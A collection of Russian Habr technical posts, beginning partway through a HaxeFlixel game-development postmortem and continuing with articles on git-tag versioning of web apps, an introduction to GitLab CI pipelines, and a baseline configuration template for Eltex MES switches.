* Плавное изменение alpha у графических объектов глючит на таргете neko, но отлично работает на смартфоне.
Вышел такой список инструментов:
* haxe: 3.4.0 (git build development @ 41b2e1e)
* neko: 2.1.0
* Android SDK: v23
* JDK: то что шло вместе с Android Studio
* extension-admob: 1.6.3
* extension-android-immersive: 1.1.0
* extension-googleplayservices-basement: 1.1.0
* flixel-addons: 2.2.0
* flixel: 4.2.0
* haxelib: 3.3.0
* hxcpp: git (rev. 8bab810cc5b871dbe17a4853109ce8c3fe1ae2da)
* lime-samples: 3.4.0
* lime: 2.9.1
* openfl: 3.6.1
* rox-i18n: git (rev. cd30cf44e9519cb239697d918eece27715797570)
Размеры экранов
---------------
Так как мелких деталей нет, то, важны не размеры экранов в пикселях, а соотношение сторон. Существуют девайсы с соотношением от 4:3 до 16:9 (всего пять разных соотношений). Возможно, есть какие-то редкие исключения, но на то они и редкие. В моем случае, достаточно тестировать самое "квадратное" (3:4) и самое "вытянутое" (16:9).
Сначала делал отступы и"сетку" в процентах от экрана, но как появился художник, а с ним и макеты, я начал размечать всё по виртуальным пикселям. Т.е. макет был в разрешении 1024x1820, под более "квадратные" подгонялось соответствующими отступами/привязками к краям.
Но есть такие производители смартфонов, которые решили что аппаратные кнопки — это не круто, софтовые кнопки круче. Из-за этой выезжающей панельки игра получает неправильные размеры "окна" при старте. Лечится расширением **extension-android-immersive** и установкой
```
FlxG.scaleMode = new StageSizeScaleMode();
```
В первом стейте (заставке).
Уровни
------
Самое главное забыл! Уровни. Должны вызывать интерес и постепенно наводить пользователя на "фишки" которые можно использовать. Писались руками в коде, после чего проходились, опять же руками, и, соответственно, выставлялось минимальное количество ходов, за которое можно решить уровень. Таким образом было сделано ~20 уровней:
Google Play
-----------
Регистрация разработчика стоит $25. При этом процесс довольно быстрый (около 10 минут на всё про всё).
За час до "дедлайна" начал заливать игру. Помимо иконки и скриншотов, GP требует баннер 1024x500 для фона на странице игры. Через полчаса после закачки игра была проверена и стала доступной всем для скачивания. По слухам, сначала apk проверяют роботы, и выкладывают в общий доступ, после чего проверяют люди.
К слову, статистика скачиваний в панели разработчика отстаёт где-то на сутки.
Выводы
------
Вцелом, я остался доволен. HaxeFlixel можно довольно быстро изучить на уровне, достаточном для запиливания небольшой головоломки. Особенно помогло наличие tween'ов (FlxTween), которые позволяют "анимировать" (т.е. интерполировать) любые скалярные переменные, несколькими функциями на выбор (синус, степень, и пр.). Это очень оживило интерфейс.
После того, как все тулзы настроены, сборка не доставляет проблем.
Что дальше?
-----------
После публикации на Google Play я закинул ссылку во все чатики с друзьями и одержимо нажимал F5 на странице со статистикой. Вышло около 30-ти инсталлов. Через месяц половина удалили игру, появилось несколько случайных инсталлов из разных стран. Собственно и всё. Сама по себе игра будет вряд ли замечена, если нет пиара, популярных ключевых слов в названии/описании и если у разработчика нет кучи других игр.
Недавно выпустил новую версию игры, теперь она выглядит гораздо аккуратнее:
[Игра в Google Play](https://play.google.com/store/apps/details?id=com.newmechanics.tapefold)
[HaxeFlixel](http://haxeflixel.com/)
[Полезная ссылка про описание процесса сборки вместе с подписью apk](http://blog.pnapieralski.com/haxeflixel/publishing-your-first-android-game-using-haxeflixel/) | https://habr.com/ru/post/319260/ | null | ru | null |
# Версионность веб-приложений
Общеизвестно, что каждый программный продукт в конечном итоге обретает номер поставляемой версии. Изначально это может быть цифра в README файле, на борде в JIRA либо просто в голове у тимлида или ПМа. Но в какой-то момент становится понятно, что нужно формализовать процесс назначения версии релизу, отобразить номер в приложении, интегрировать версионность в CI, аналитику и другие места.
С появлением технологии PWA, версионность в вебе обрела еще больший смысл, ведь теперь самая последняя версия приложения доступна пользователю не в момент загрузки страницы, а только через определенное время после обновления файлов в фоновом режиме. Поэтому важно следить за номерами версий у пользователей, чтобы знать в какой из них возникла проблема и сколько обновилось до последней.
Ниже рассмотрим способы добавления версионности веб-проекту, используя готовые решения, и напишем свой универсальный скрипт, удовлетворяющий всем требованиям.
Git и версионность
------------------
Для наглядности, давайте взглянем на диаграмму одного из самых популярных подходов Git Flow:
Демонстрация Git FlowКак видим, нумерация версий происходит в ветке, код которого попадает на прод (разумеется, можно добавлять версии для любых окружений), при этом формат версии обычно задается *X.Y.Z* (как правило, согласно спецификации [семантической версионности](https://semver.org/), где X - мажорная версия, Y - минорная, Z - патч).
Расшифровка версии semverОчевидно, что версии в первую очередь должны быть привязаны к коммитам (после которых и собираются релизные сборки), чтобы хранилась наглядная история релизов и легко было откатываться до предыдущего при необходимости. Удобнее всего это реализовать с помощью тегирования коммитов (git tag). Давайте рассмотрим npm пакеты, помогающие решить эту задачу.
### Готовые npm-решения
Основная проблема в том, что все существующие npm пакеты предназначены больше для версионности и публикации вашего проекта в npm непосредственно, хотя никто не мешает воспользоваться функционалом инкрементирования версии сборки и пуша тегов в гит (будь то ручной запуск команды, либо из CI-скрипта).
### Примеры:
[**npm np**](https://www.npmjs.com/package/np)
npm np CLIПосле установки пакета, выполняем команду np, выбираем какую цифру релиза нужно увеличить. Правда, придется выполнять команду добавив флаги --no-publish --no-tests --no-release-draft
Плюсы:
* Обновление версии с помощью одной команды
Минусы:
* Нет возможности контролировать, куда записывается номер версии *(только в package.json)*
* Нет возможности добавить постфикс версиям *(например, 1.3.1-dev, 0.1.1-alpha)*
* Не все git сервисы разрешают пушить тег с новой версией и измененный package.json в репозиторий прямо из CI-скрипта после окончания сборки.
[**npm release-it**](https://www.npmjs.com/package/release-it)
Пакет популярнее предыдущего, больше конфигураций, интерактивный режим настройки. Принцип выполнения команды такой же:
`release-it minor --no-npm.publish`
Для режима CI нужно добавить флаг *--ci*
Плюсы:
* Генерация changelog из коробки (+[Conventional Changelog plugin](https://github.com/release-it/conventional-changelog))
* CLI
Минусы:
* Чтобы хранить номер версии в своем файле нужен [отдельный плагин](https://github.com/release-it/bumper) (тем не менее, там нет поддержки *.js* расширения, поэтому проще использовать пакет [replace-in-file](https://www.npmjs.com/package/replace-in-file)) - для отображения версии сборки в самом приложении
* Нет возможности добавить постфикс к версии (по крайней мере я не нашел)
[**npm semantic-release**](https://www.npmjs.com/package/semantic-release)
Наиболее популярный из представленных примеров. Полностью автоматизирует процесс версионности, убирая человеческий фактор по инкременту версий. Однако, для этого необходимо следовать [Commit Message Conventions](https://github.com/angular/angular.js/blob/master/DEVELOPERS.md#-git-commit-guidelines) (хороший повод начать именовать коммиты более организованно).
Инкремент версий происходит по следующей логике: если в названии коммита находится слово fix - это считается как Patch Release (обновляется третья цифра); если в названии коммита присутствует feat (feature) - Minor Release (вторая цифра); perf (performance) или breaking change - Major Release (первая цифра).
Вдобавок, на основе коммитов генерируется changelog.
Минусы:
* Не обнаружил возможность хранить версию в отдельном .js файле для последующего отображения в приложении
* Возможность контролировать процесс обновления мажорных и минорных версий вручную.
Как видим, готовых решений достаточно, однако, давайте все же попробуем написать свое, адаптировав его под свои нужды.
### Что нам нужно?
1. Код из git-веток попадающий на окружение (dev, staging, prod) должен быть пронумерован и хранить тип окружения (к примеру, 1.0.1-dev)
2. Каждый пуш в ветку (master, integration, release) увеличивает патч-версию
3. Обновление мажорной и минорной версии происходит вручную после каждого релиза / спринта. Какую версию менять решаем сами на основе запланированных задач и потенциальных изменений
4. Версия сборки доступна в JS, для того чтобы была возможность ее отображать в самом приложении, использовать для аналитики, передавать в системы репорта ошибок и т.п.
5. *package.json* не должен меняться во время CI (т.е версию приложения не храним в этом файле) во избежание потенциальных мерж конфликтов (к примеру, когда одновременно вмерживается несколько реквестов и сборки собираются одновременно, в нашей команде такое случается достаточно часто).
6. При релизе патч-версия (z) начинается с 1, оставляя только номер релиза (x.y). Например: версии на деве *1.4.1-dev, 1.4.2-dev, 1.4.3-dev*, а в релиз пойдет *1.4.1*. Если же подливаем hotfix в тот же релиз, то версия будет *1.4.2*.
Данные пункты являются субъективными и легко могут быть изменены под ваши требования. Ниже рассмотрим JS-реализацию данной логики.
Реализация своей системы версионности
-------------------------------------
Предварительно создадим 2 файла, первый **version.txt** (в корне проекта) для хранения мажорной и минорной версии релиза (которые мы вручную меняем, как указано выше). В файле будет хранится только 2 числа версии, разделенные точкой вида: **2.13**
Создадим второй файл **app-version.js** (путь - *src/environment*, т.к. там лежат подобные файлы в Angular проекте, вы же можете выбрать любой удобный путь), который будет меняться CI-скриптом перед сборкой, при этом в самом репозитории файл всегда статичен. Содержимое выглядит так:
```
exports.APP_VERSION = '{VERSION}'; // DO NOT TOUCH
```
Это позволит получить доступ к версии прямо во время выполнения javascript / typescript кода приложения и использовать по назначению:
```
import { APP_VERSION } from 'src/environments/app-version';
```
Логика определения и назначения версии будет следующая:
1. получить текущую мажорную и минорную версии (x.y) из файла version.txt
2. вывести список всех git-тегов данного релиза x.y.\*
3. обнаружить патч версию (z) последнего тега релиза
4. добавить новый тег вида x.y.(z+1)
5. при необходимости добавить постфикс окружения (x.y.z-dev)
Приступим к скрипту. Нам нужен пакет [npm shelljs](https://www.npmjs.com/package/shelljs) - для того, чтобы мы могли работать с системными командами *(git, файловая система)* прямо из js-файла без нужды писать shell-скрипты. Создадим **update-version.js:**
```
const shell = require('shelljs');
if (!shell.which('git')) {
shell.echo('This script requires git');
shell.exit(1);
}
const postfixArg = process.argv[2]; // переданные аргументы во время запуска скрипта начинаются со второго индекса, ссылка: https://nodejs.org/docs/latest/api/process.html#process_process_argv
const tagPostfix = postfixArg ? `-${postfixArg}` : ''; // пример: x.y.z-dev, если нет аргумента - x.y.z
// ПОИСК ПОСЛЕДНЕГО ТЕГА ДЛЯ ТЕКУЩЕГО РЕЛИЗА
const releaseNum = shell.head('version.txt'); // читаем содержимое файла чтобы получить версию (x.y) текущего релиза
const tagsTemplateToSearch = `${releaseNum}.*${tagPostfix}`; // 'x.y.*-postfix' шаблон для поиска предыдущих тегов для текущего релиза
const releasedTags = shell
.exec(`git tag -l ${tagsTemplateToSearch} --sort=-v:refname`)
.split('\n')
.filter(Boolean);
const lastReleaseTag = releasedTags.length > 0 ? releasedTags[0] : '';
shell.echo(`The last tag for ${releaseNum}: ${lastReleaseTag || '-'}`);
// ПОЛУЧЕНИЕ НОВОЙ ВЕРСИИ
let patchVersion = 1;
if (lastReleaseTag) {
// если для данного релиза уже были теги, получить версию последнего патча и увеличить
const lastReleaseVersion = lastReleaseTag.split('-')[0]; // получаем 'x.y.z' из 'x.y.z-postfix'
patchVersion = +lastReleaseVersion.split('.').pop() + 1; // получаем патч версию z из x.y.z и увеличиваем на 1
}
const newVersionTag = `${releaseNum}.${patchVersion}${tagPostfix}`;
shell.echo(`New version tag: ${newVersionTag}`);
// СОХРАНЯЕМ ВЕРСИЮ СБОРКИ В app-version.js
shell.cd('src/environments');
shell.sed('-i', '{VERSION}', newVersionTag, 'app-version.js');
shell.cd('../../');
// КОММИТИМ НОВЫЙ ТЕГ
shell.exec(`git tag ${newVersionTag}`);
```
Скрипт генерации новой версии приложения на основе предыдущих версий из git готов. Далее можно запускать сборку проекта, зная, что app-version.js с новой версией попадет в проект и будет доступен в JS.
Остался лишь последний шаг - *git push* нового тега после успешной сборки в git-репозиторий.
Создаем еще один файл **push-new-version-tag.js:**
```
const shell = require('shelljs');
const version = require('./src/environments/app-version');
if (!shell.which('git')) {
shell.echo('The script requires git');
shell.exit(1);
}
shell.echo(`Tag to push: ${version.APP_VERSION}`);
// shell.exec(`git push --force origin ${version.APP_VERSION} -o ci.skip`); GitLab CI не позволяет пуш в репозиторий, поэтому делаем POST запрос с флагом --silent и приватным ключом переданным как аргумент из скрипта
const branchName = process.argv[2];
const gitlabToken = process.argv[3];
shell.exec(
`curl -X POST --silent --show-error --fail "https://gitlab.com/api/v4/projects/gitlab_project_id/repository/tags?tag_name=${version.APP_VERSION}&ref=${branchName}&private_token=${gitlabToken}"`
);
```
Готово. Остается добавить запуск этих команд в ваш CI скрипт.
А вот как выглядит наш для GitLab *(проект на Angular)*:
```
stages:
- build
- deploy
build_dev:
image: 'node:latest'
stage: build
script:
- npm install
- node ./update-version.js dev
- npm run build -- --configuration=dev
- node ./push-new-version-tag.js integration $GITLAB_TOKEN_CI
artifacts:
paths:
- dist/uxcel
only:
- integration
build_prod:
image: 'node:latest'
stage: build
script:
- npm install
- node ./update-version.js
- npm run build -- --configuration=production
- node ./push-new-version-tag.js master $GITLAB_TOKEN_CI
artifacts:
paths:
- dist/uxcel
only:
- master
```
Таким образом, мы добавили версионность в веб-приложение для разных окружений (дев-версии сборок именуются вида x.y.z-dev, а прод-версии без постфикса - x.y.z). Как видите, реализация получилась несложной и адаптируемой. К примеру, если вы уже используете готовое решение, но у вас нет возможности получить номер версии в JS, можно добавить скрипт, который будет вычитывать последний тег и записывать его в js-файл. К слову, для меня был большим открытием npm-пакет *shelljs*, заметно упрощающий написание логики вместо shell-скриптов.
### Как мы используем номер версии в Uxcel?
Наше приложение является PWA, поэтому нам важно следить за номерами версий наших пользователей: версии отправляются в *google analytics*, в систему мониторинга ошибок *sentry*, в API запросы (которые могут обрабатываться по-разному в зависимости от версии) и, само собой, версия отображается в самом приложении. Помимо этого, номер версии может использоваться для отображения *Release Notes* или для показа обучающего окна нового функционала сразу после авто-обновления приложения.
Uxcel - сервис интерактивного обучения UI/UX. Наша версия отображается в меню.Спасибо за внимание, надеюсь, статья была полезной для вас! Буду рад услышать ваше мнение, делитесь своими способами версионности веб-приложений. | https://habr.com/ru/post/541206/ | null | ru | null |
# Введение в GitLab CI
*Публикую перевод [моей статьи](https://about.gitlab.com/2016/07/29/the-basics-of-gitlab-ci/) из блога ГитЛаба про то как начать использовать CI. Остальные переводы гитлабовских постов можно найти в [блоге компании Softmart](https://habrahabr.ru/company/softmart/)*.
---
Представим на секунду, что вы не знаете ничего о концепции непрерывной интеграции (Continuous Integration — CI) и для чего она нужна. Или вы всё это забыли. В любом случае, начнем с основ.
Представьте, что вы работаете над проектом, в котором вся кодовая база состоит из двух текстовых файлов. Более того, очень важно, чтобы при конкатенации этих файлов в результате всегда получалась фраза "Hello world." Если это условие не выполняется, вся команда лишается месячной зарплаты. Да, все настолько серьезно.
Один ответственный разработчик написал небольшой скрипт, который нужно запускать перед каждой отправкой кода заказчикам. Скрипт нетривиален:
```
cat file1.txt file2.txt | grep -q "Hello world"
```
Проблема в том, что в команде десять разработчиков, а человеческий фактор еще никто не отменял.
Неделю назад один новичок забыл запустить скрипт перед отправкой кода, в результате чего трое заказчиков получили поломанные сборки. Хотелось бы в дальнейшем избежать подобного, так что вы решаете положить конец этой проблеме раз и навсегда. К счастью, ваш код уже находится на GitLab, а вы помните про [встроенную CI-систему](https://about.gitlab.com/gitlab-ci/). К тому же, на конференции вы слышали, что CI используется для тестирования...
Запуск первого теста в CI
-------------------------
После пары минут, потраченных на поиск и чтение документации, оказывается, что все что нужно сделать — это добавить две строчки кода в файл `.gitlab-ci.yml`:
```
test:
script: cat file1.txt file2.txt | grep -q 'Hello world'
```
Добавляем, коммитим — и ура! Сборка успешна!
Поменяем во втором файле "world" на "Africa" и посмотрим, что получится:
Сборка неудачна, как и ожидалось.
Итак, у нас теперь есть автоматизированные тесты. GitLab CI будет запускать наш тестовый скрипт при каждом пуше нового кода в репозиторий.
Возможность загрузки результатов сборки
---------------------------------------
Следующим бизнес-требованием является архивация кода перед отправкой заказчикам. Почему бы не автоматизировать и его?
Все, что для этого нужно сделать — определить еще одну задачу для CI. Назовем ее "package":
```
test:
script: cat file1.txt file2.txt | grep -q 'Hello world'
package:
script: cat file1.txt file2.txt | gzip > package.gz
```
В результате появляется вторая вкладка
Однако мы забыли уточнить, что новый файл является артефактом сборки, что позволит его скачивать. Это легко поправить, добавив раздел `artifacts`:
```
test:
script: cat file1.txt file2.txt | grep -q 'Hello world'
package:
script: cat file1.txt file2.txt | gzip > packaged.gz
artifacts:
paths:
- packaged.gz
```
Проверяем… Все на месте:
Отлично! Однако, осталась одна проблема: задачи выполняются параллельно, а нам не нужно архивировать наше приложение в случаях, когда тест не пройден.
Последовательное выполнение задач
---------------------------------
Задача 'package' должна выполняться только при успешном прохождении тестов. Определим порядок выполнения задач путем введения стадий (`stages`):
```
stages:
- test
- package
test:
stage: test
script: cat file1.txt file2.txt | grep -q 'Hello world'
package:
stage: package
script: cat file1.txt file2.txt | gzip > packaged.gz
artifacts:
paths:
- packaged.gz
```
Должно сработать.
Также не стоит забывать о том, что компиляция (которой в нашем случае является конкатенация файлов) занимает время, поэтому не стоит проводить ее дважды. Введем отдельную стадию для компиляции:
```
stages:
- compile
- test
- package
compile:
stage: compile
script: cat file1.txt file2.txt > compiled.txt
artifacts:
paths:
- compiled.txt
test:
stage: test
script: cat compiled.txt | grep -q 'Hello world'
package:
stage: package
script: cat compiled.txt | gzip > packaged.gz
artifacts:
paths:
- packaged.gz
```
Посмотрим на получившиеся артефакты:
Скачивание файла "compile" нам ни к чему, поэтому ограничим длительность жизни временных артефактов 20 минутами:
```
compile:
stage: compile
script: cat file1.txt file2.txt > compiled.txt
artifacts:
paths:
- compiled.txt
expire_in: 20 minutes
```
Итоговая функциональность конфига впечатляет:
* Есть три последовательных стадии: компиляция, тестирование и архивация приложения.
* Результат стадии компиляции передается на последующие стадии, то есть приложение компилируется только однажды (что ускоряет рабочий процесс).
* Архивированная версия приложения хранится в артефактах сборки для дальнейшего использования.
Какие образы Docker лучше использовать
--------------------------------------
Прогресс налицо. Однако, несмотря на наши усилия, сборка до сих пор проходит медленно. Взглянем на логи:
Что, простите? Ruby 2.1?
Зачем тут вообще Ruby? А затем, что GitLab.com использует образы Docker для [запуска сборок](/2016/04/05/shared-runners/), а [по умолчанию](/gitlab-com/settings/#shared-runners) для этого используется образ [`ruby:2.1`](https://hub.docker.com/_/ruby/). Само собой, в этом образе содержится множество пакетов, которые нам ни к чему. Спросив помощи у гугла, узнаем, что существует образ [`alpine`](https://hub.docker.com/_/alpine/), который представляет собой практически «голый» образ Linux.
Для того, чтобы использовать этот образ, добавим `image: alpine` в `.gitlab-ci.yml`.
Благодаря этому время сборки сокращается почти на три минуты:
А вообще, в свободном доступе находится [довольно](https://hub.docker.com/_/mysql/) [много](https://hub.docker.com/_/python/) [разных](https://hub.docker.com/_/java/) [образов](https://hub.docker.com/_/php/), так что можно без проблем подобрать один для нашего стека. Главное — помнить о том, что лучше подходят образы, не содержащие дополнительной функциональности — такой подход минимизирует время скачивания.
Работа со сложными сценариями
-----------------------------
Теперь представим, что у нас появился новый заказчик, который хочет, чтобы вместо `.gz` архива наше приложение поставлялось в виде образа `.iso`. Поскольку весь процесс сборки реализован через CI, все, что нам нужно сделать — добавить еще одну задачу. Образы ISO создаются с помощью команды [mkisofs](http://linuxcommand.org/man_pages/mkisofs8.html). В итоге конфигурационный файл должен выглядеть следующим образом:
```
image: alpine
stages:
- compile
- test
- package
# ... задания "compile" и "test" в данном примере пропущены ради краткости
pack-gz:
stage: package
script: cat compiled.txt | gzip > packaged.gz
artifacts:
paths:
- packaged.gz
pack-iso:
stage: package
script:
- mkisofs -o ./packaged.iso ./compiled.txt
artifacts:
paths:
- packaged.iso
```
Обратите внимание на то, что названия задач не обязательно должны быть одинаковыми. Более того, в таком случае параллельное выполнение задач на одной стадии было бы невозможным. Так что относитесь к одинаковым названиям задач и стадий как к совпадению.
А тем временем сборка не удалась:
Проблема в том, что конманда `mkisofs` не входит в состав образа `alpine`, так что нужно установить ее отдельно.
Установка дполнительного ПО
---------------------------
На [сайте Alpine Linux](https://pkgs.alpinelinux.org/contents?file=mkisofs&path=&name=&branch=&repo=&arch=x86) указано, что `mkisofs` входит в состав пакетов `xorriso` и `cdrkit`. Для установки пакета нужно выполнить следующие команды:
```
echo "ipv6" >> /etc/modules # включить поддержку сети
apk update # обновить список пакетов
apk add xorriso # установить пакет
```
Все это — тоже валидные команды CI. Полный список команд в разделе `script` должен выглядеть следующим образом:
```
script:
- echo "ipv6" >> /etc/modules
- apk update
- apk add xorriso
- mkisofs -o ./packaged.iso ./compiled.txt
```
С другой стороны, семантически более корректно выполнять команды, ответственные за установку пакетов до раздела `script`, а именно в разделе `before_script`. При размещении этого раздела в верхнем уровне файла конфигурации, его команды будут выполнены раньше всех задач. Однако в нашем случае достаточно выполнить `before_script` раньше одной определенной задачи.
Итоговая версия `.gitlab-ci.yml`:
```
image: alpine
stages:
- compile
- test
- package
compile:
stage: compile
script: cat file1.txt file2.txt > compiled.txt
artifacts:
paths:
- compiled.txt
expire_in: 20 minutes
test:
stage: test
script: cat compiled.txt | grep -q 'Hello world'
pack-gz:
stage: package
script: cat compiled.txt | gzip > packaged.gz
artifacts:
paths:
- packaged.gz
pack-iso:
stage: package
before_script:
- echo "ipv6" >> /etc/modules
- apk update
- apk add xorriso
script:
- mkisofs -o ./packaged.iso ./compiled.txt
artifacts:
paths:
- packaged.iso
```
А ведь мы только что создали конвейер! У нас есть три последовательные стадии, при этом задачи `pack-gz` и `pack-iso` стадии `package` выполняются параллельно:
Подводя итоги
-------------
В этой статье приведены далеко не все возможности GitLab CI, однако пока что остановимся на этом. Надеемся вам понравился этот небольшой рассказ. Приведенные в нем примеры были намеренно тривиальными — это было сделано для того, чтобы наглядно показать принципы работы CI не отвлекаясь на незнакомые технологии. Давайте подытожим изученное:
1. Для того, чтобы передать выполнение определенной работы в GitLab CI, нужно определить одну или более [задач](http://docs.gitlab.com/ce/ci/yaml/README.html#jobs) в `.gitlab-ci.yml`.
2. Задачам должны быть присвоены названия, советуем делать их осмысленными, чтобы потом самим не запутаться.
3. В каждой задаче содержится набор правил и инструкций для GitLab CI, определяющийся [ключевыми словами](#keywords).
4. Задачи могут выполняться последовательно, параллельно, либо вы можете задать свой собственный порядок выполнения, создав конвейер.
5. Существует возможность передавать файлы между заданиями и сохранять их как артефакты сборки для последующего скачивания через интерфейс.
В последнем разделе этой статьи приведен более формализованный список терминов и ключевых слов, использованных в данном примере, а также ссылки на подробные описания функциональности GitLab CI.
### Описания ключевых слов и ссылки на документацию
| Ключевое слово/термин | Описание |
| --- | --- |
| [.gitlab-ci.yml](http://docs.gitlab.com/ce/ci/yaml/README.html#gitlab-ci-yml) | Конфигурационный файл, в котором содержатся все определения сборки проекта |
| [script](http://docs.gitlab.com/ce/ci/yaml/README.html#script) | Определяет исполняемый shell-скрипт |
| [before\_script](http://docs.gitlab.com/ce/ci/yaml/README.html#before_script) | Определяет команды, которые выполняются перед всеми заданиями |
| [image](http://docs.gitlab.com/ce/ci/docker/using_docker_images.html#what-is-image) | Определяет используемый Docker-образ |
| [stage](http://docs.gitlab.com/ce/ci/yaml/README.html#stages) | Определяет стадию конвейера (`test` по умолчанию) |
| [artifacts](http://docs.gitlab.com/ce/ci/yaml/README.html#artifacts) | Определяет список артефактов сборки |
| [artifacts:expire\_in](http://docs.gitlab.com/ce/ci/yaml/README.html#artifactsexpire_in) | Используется для удаления загруженных артефактов по истечению определенного промежутка времени |
| [pipeline](http://docs.gitlab.com/ee/ci/pipelines.html#pipelines) | Конвейер — набор сборок, которые выполняются стадиями |
Также обратите внимание на другие примеры работы с GitLab CI:
* [Migrating from Jenkins to GitLab CI](https://about.gitlab.com/2016/07/22/building-our-web-app-on-gitlab-ci/)
* [Decreasing build time from 8 minutes 33 seconds to just 10 seconds](http://beenje.github.io/blog/posts/gitlab-ci-and-conda/)
(Автор перевода — [sgnl\_05](https://habrahabr.ru/users/sgnl_05/)) | https://habr.com/ru/post/309380/ | null | ru | null |
# Коммутатор Eltex MES 23XX. Шаблон базовой конфигурации
Добрый день, коллеги! В этой статье я попытался создать шаблон базовой настройки коммутаторов Eltex MES 23XX для использования в корпоративных сетях, имеющих вспомогательные сервисы администрирования и мониторинга. Разумеется, невозможно описать весь функционал коммутатора или рассмотреть все системы, применяющиеся для обслуживания сетей передачи данных. Но базовые настройки мы разберем.
Итак, всё начинается с имени устройства. Имя можно назначить любое, но оно должно нести информацию, помогающую администратору ориентироваться в своей сети. Такие имена, как switch1, sg1231fa или qwerty, неинформативны. Подробные, например ekb-malisheva51-floor.13-serv3-shkaf5-unit27, неудобны в работе. Лучше краткий вариант имени с указанием местоположения, например ekb-tower-lan1, поскольку остальные сведения можно указать в схемах сетей, системах мониторинга и баннерах.
`hostname ekb-tower-lan1`
Теперь займемся локальной учетной записью с полными правами (на учетной записи admin обязательно нужно изменить пароль) и паролем к привилегированному режиму:
`username admin password ****** privilege 15`
`username not_admin password ****** privilege 15`
`enable password level 15 ******`
Включаем SSH, протокол удаленного управления с шифрованием:
`ip ssh server`
Затем – баннеры. Их применяют при получении удаленного доступа:
* предупреждающий баннер при попытке входа. Он используется для уведомления того, кто осуществляет попытку подключения, о том, что несанкционированные подключения незаконны и расцениваются как попытка взлома;
* приветственный баннер после успешной аутентификации. В нем можно разместить любую информацию от сведений о местоположении и назначении устройства до картинки из символов.
Особенность настройки баннера: необходимо выбрать разделительный символ, с которого баннер начнется, и которым закончится. При этом выбранный символ не должен использоваться в самом баннере:
`banner login $`
`-----------------------------------------`
`----UNAUTHORIZED ACCESS IS PROHIBITED----`
`-----------------------------------------`
`$`
`banner exec $`
`--------------------------------------------------------------------`
`@@_____@@__________@@@@@@@__@@_____@@@@@@@_@@@@@@@_@@@___@@__@__@__@`
`@@__@__@@__________@@_______@@________@@___@@_______@@@_@@___@__@__@`
`@@_@@@____@@@@@@___@@_______@@________@@___@@_________@@@____@__@__@`
`@@__@_____@@@@_____@@@@@@@__@@________@@___@@@@@@@____@@@____@__@__@`
`@@__@_________@@___@@_______@@________@@___@@_______@@@_@@__________`
`@@__@@.____@@@@@___@@@@@@@__@@@@@@____@@___@@@@@@@_@@@___@@__@__@__@`
`--------------------------------------------------------------------`
`----------Switch is located in the Ekaterinburg, Malisheva 51-------`
`------------------------Server room on floor 13---------------------`
`------------------------------Daisy, Daisy--------------------------`
`----------------------------You are welcome!------------------------`
`--------------------------------------------------------------------`
`$`
Далее нам потребуется сервер AAA. В небольших сетях такие решения не применяются (и для доступа на оборудование используется локальная учетная запись), но в крупных корпоративных или провайдерских сетях они незаменимы для создания гибких и масштабируемых политик доступа (часто с привлечением доменных политик Active Directory). ААА (Authentication, Authorization, Accounting) – три независимых друг от друга процесса, которые выполняются при предоставлении доступа пользователю к устройству:
* Authentication – определение наличия пользователя и проверка правильности введенного пароля, аутентификация по логину и паролю;
* Authorization – определение уровня прав пользователя, какие команды ему позволено выполнять и на каких устройствах;
* Accounting – логирование всех действий пользователя на AAA-сервере.
Самые распространенные протоколы ААА – TACACS+ и Radius, причем TACACS+ считается более надежным. На сервере ААА создается объект для каждого узла в сети:
На узле сети задается соответствующая конфигурация: назначаются основной и резервный серверы ААА. Также указывается порядок проверок учетных записей: сначала c помощью сервера ААА, а если он недоступен, то через локальную базу в конфигурации устройства:
`tacacs-server host 192.168.50.1 key ************`
`tacacs-server host 192.168.50.2 key ************ priority 1`
`aaa authentication enable default tacacs enable`
`aaa authentication login default tacacs local`
`aaa authentication login authorization default tacacs local`
`aaa accounting commands stop-only default tacacs`
Осталось настроить интерфейс SVI для удаленного доступа. Разумеется, в корпоративных сетях для сегментации сетей используются VLAN. Пусть в нашем примере VLAN для управления сетевым оборудованием будет 15:
`vlan database`
`vlan 10,15,99`
`interface vlan 15`
`description Management SVI`
`ip address 192.168.2.21 255.255.255.0`
`ip default-gateway 192.168.2.254`
После успешного входа мы получаем оба баннера:
Теперь нужно регламентировать все внешние подключения к коммутатору, настроив доступ к так называемой плоскости управления. В своем варианте я разрешаю узкому кругу хостов и подсетей удаленный доступ по SSH и мониторинг по SNMP. В результате возможность подключения по Telnet и HTTP будет заблокирована:
`management access-list remote-access`
`permit ip-source 192.168.33.1 service ssh`
`permit ip-source 172.16.0.0 mask 255.255.255.240 service ssh`
`permit ip-source 10.0.0.1 service snmp`
`exit`
`management access-class remote-access`
Кстати об SNMP. Используем самый простой вариант с SNMPv2c, без шифрования:
`snmp-server server`
`snmp-server community ******** ro`
И можем сразу переходить к мониторингу. Zabbix отлично подходит для этой задачи:
Следующий шаг – настройка точного времени и отправка логов на Syslog-сервер. Для анализа событий в сети необходимо иметь единую точку отсчета времени, поэтому на всех узлах сети нужно настроить синхронизацию времени по протоколу NTP:
`clock timezone MSK +3`
`clock source sntp`
`sntp unicast client enable`
`sntp server 10.0.0.1`
Осталось сформировать удобочитаемые логи:
`logging on`
`logging host 192.168.2.22`
`logging cli-commands`
`logging origin-id hostname`
`logging buffered informational`
Разумеется, система анализа логов в крупной сети – сложный, комплексный продукт. В примере же я использую простую демонстрацию:
`2021-08-27T10:04:26+03:00 ekb-tower-lan1 COPY - TRAP - The copy operation was completed successfully 192.168.2.21 27/08 14:04:26.726`
`2021-08-27T10:04:26+03:00 ekb-tower-lan1 GCLI - CMD-EXEC - source:10.0.0.2 destination:192.168.2.21 user:eltex_user cmd:wr 192.168.2.21 27/08 14:04:26.788`
Еще один важный элемент конфигурации - её автоматическое сохранение на стороннем ресурсе. Есть различные подходы к этой задаче - использование готовых коммерческих или свободно распространяемых решений, например [NOC](https://getnoc.com/), автоматизированная выгрузка конфигураций и их размещение, например, на [GitHub](https://github.com/), использование встроенных инструментов для использования FTP/TFTP-хранилищ. Мы рассмотрим автоматическую выгрузку конфигурации после ее сохранения на TFTP-сервер, размещенный в корпоративной сети (Eltex позволяет такжеиспользовать SCP). Для этого необходимо в конфигурации указать адрес TFTP-сервера, действие для выгрузки, и путь на сервере (я так же добавляю имя устройства, а коммутатор при формировании файла добавит в название временную метку):
`backup server tftp://10.0.0.1`
`backup path eltex/ekb-tower-lan1`
`backup write-memory`
В результате, после сохранения файла, мы получим отчет в логе устройства, и новый файл на TFTP-сервере:
